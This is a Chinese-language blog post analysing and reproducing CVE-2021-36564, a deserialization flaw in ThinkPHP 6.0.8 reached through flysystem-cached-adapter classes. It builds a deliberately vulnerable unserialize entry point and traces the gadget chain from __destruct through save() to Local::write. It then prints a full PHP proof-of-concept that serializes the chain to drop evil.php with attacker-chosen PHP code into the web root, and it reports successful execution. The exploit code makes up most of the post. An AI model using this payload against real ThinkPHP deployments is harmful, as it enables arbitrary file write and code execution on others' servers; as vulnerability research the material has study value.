CVE-2021-36564漏洞分析及复现

参考文章:ThinkPHP6.0.8 exists unserialize vulnerability · Issue #2559 · top-think/framework · GitHub

0x00:漏洞简介

0x01:漏洞环境配置

笔者使用phpstudy_pro搭建php v6.08

并在index.php中写入反序列化入口

public function index()
    {
     if(isset($_REQUEST['data'])){
            @unserialize($_REQUEST['data']);
        }
    }

0x02:寻找突破口

跟踪简介中的vendor/league/flysystem-cached-adapter/src/Storage/Adapter.php

发现存在可能可利用的函数 save()

通过has()判断 如果文件名存在则更新文件内容

如果不存在则新建(写入)文件

class Adapter extends AbstractCache{
    
    public function save()
        {
            $config = new Config();
            $contents = $this->getForStorage();

            if ($this->adapter->has($this->file)) {
                $this->adapter->update($this->file, $contents, $config);
            } else {
                $this->adapter->write($this->file, $contents, $config);
            }
        }
    
}

*于是目标确定为触发 save() 并新建(写入)自定义文件,并且能够自定义路径与内容

那么怎么触发 save() 呢?

观察到 class Adapter extends AbstractCache 跟进AbstractCache发现变量 protected $autosave = true

同时存在析构函数会触发 save() ,只需要 $autosave = false;

abstract class AbstractCache implements CacheInterface{
    
    public function __destruct()
        {
            if (! $this->autosave) {
                $this->save();
            }
        }
    
}

下一步则是完成自定义路径与内容

同样在 Adapter 中:

class Adapter extends AbstractCache
{
    protected $adapter;

    protected $file;
    
    protected $expire = null;
    
    //还有两个继承自AbstractCache的变量:
    protected $cache = [];
    
    protected $complete = [];
    
    /**
     * Constructor.
     *
     * @param AdapterInterface   $adapter   adapter
     * @param string             $file      the file to cache to
     * @param int|null           $expire    seconds until cache expiration
     *//*
     
     
    
    .........
    .........
        
        
        
     */
    
    public function setFromStorage($json)
    {
        list($cache, $complete, $expire) = json_decode($json, true);

        if (! $expire || $expire > $this->getTime()) {
            $this->cache = is_array($cache) ? $cache : [];
            $this->complete = is_array($complete) ? $complete : [];
        } else {
            $this->adapter->delete($this->file);
        }
    }
    
    public function getForStorage()
    {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete, $this->expire]);
    }
    
    public function save()
    {
        $config = new Config();
        $contents = $this->getForStorage();

        if ($this->adapter->has($this->file)) {
            $this->adapter->update($this->file, $contents, $config);
        } else {
            $this->adapter->write($this->file, $contents, $config);
        }
    }
    
    //继承自AbstractCache的过滤函数
    public function cleanContents(array $contents)
    {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
            'md5',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }
    
}

如果触发save()中的write(),是不是就可以通过 $file 来确定文件名和相对位置;$complete 确定文件内容了呢?

跟踪查看 write() 是虚构类的虚构函数,有一个继承类 Local 对其做了定义

class Local extends AbstractAdapter{
    
    public function write($path, $contents, Config $config)
        {
            $location = $this->applyPathPrefix($path);
            $this->ensureDirectory(dirname($location));

            if (($size = file_put_contents($location, $contents, $this->writeFlags)) === false) {
                return false;
            }

            $type = 'file';
            $result = compact('contents', 'type', 'size', 'path');

            if ($visibility = $config->get('visibility')) {
                $result['visibility'] = $visibility;
                $this->setVisibility($path, $visibility);
            }

            return $result;
        }
    
}

其中 applyPathPrefix() 定义于AbstractAdapter如下:

abstract class AbstractAdapter implements AdapterInterface{
    
    protected $pathPrefix;

   	public function getPathPrefix()
        {
            return $this->pathPrefix;
        }


    public function applyPathPrefix($path)
        {
            return $this->getPathPrefix() . ltrim($path, '\\/');	//  删除左侧全部的'/'
        }
    
}

也就是说如果我们能自定义 class AbstractAdapter 中的 protected $pathPrefix 和 Adapter 中的 protected $file ,就可以组合成完整的相对路径了

而 TP 的默认路径在 /public 下 我们就可以构建如下路径:

<?php
$thisfile = 'evil.php';
$pathPrefix = './';

echo $pathPrefix.ltrim($thisfile, '\\/');   //    输出 './evil.php' 
?>

路径是最大的问题,现在已经解决

关于文件内容 查看 Adapter 中的 public function setFromStorage($json)public function getForStorage() 可知,write() 写入的内容如下:

$contents = json_encode([$cleaned, $this->complete, $this->expire]);

我们只要构建 $complete 的内容即可 :

$complete = '<?php phpinfo();?>'; 

0x03:Payload以及总体思路概览

POC:

<?php

    
    
namespace League\Flysystem\Cached\Storage{		//锁定目标审计文件:AbstractCache.php ; Adapter.php ; Filesystem.php

    
    use League\Flysystem\Filesystem;

    abstract class AbstractCache{	
        //更改AbstractCache.php中的autosave变量,由默认的true改为false;
        //使得析构时会执行save()
        protected $autosave = false;			
    }
       
    class Adapter extends AbstractCache
    {
        protected $adapter;
        protected $file;

        public function __construct(){
            $this->complete = "<?php phpinfo();?>";						//恶意代码
            $this->expire = "1";									    //seconds until cache expiration  
            $this->adapter = new \League\Flysystem\Adapter\Local();		//adapter    需要触发Local()以定义write()
            $this->file = "evil.php";									//the file to cache to  
        }

    }
    
}


namespace League\Flysystem\Adapter{										
    class Local extends AbstractAdapter{								

    }
    abstract class AbstractAdapter{
        protected $pathPrefix;
        public function __construct(){
            $this->pathPrefix = "./";									//结合 $thie->file = evil.php	构建最终相对路径
        }
    }
}


namespace {

    use League\Flysystem\Cached\Storage\Adapter;
    $a = new Adapter();
    echo urlencode((serialize($a)));
}

运行得到payload,打入后查看文件发现 evil.php 已经被创建在 /public 下

访问 localhost/evil.php 执行成功

参考文章及poc出处:ThinkPHP6.0.8 exists unserialize vulnerability · Issue #2559 · top-think/framework · GitHub

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值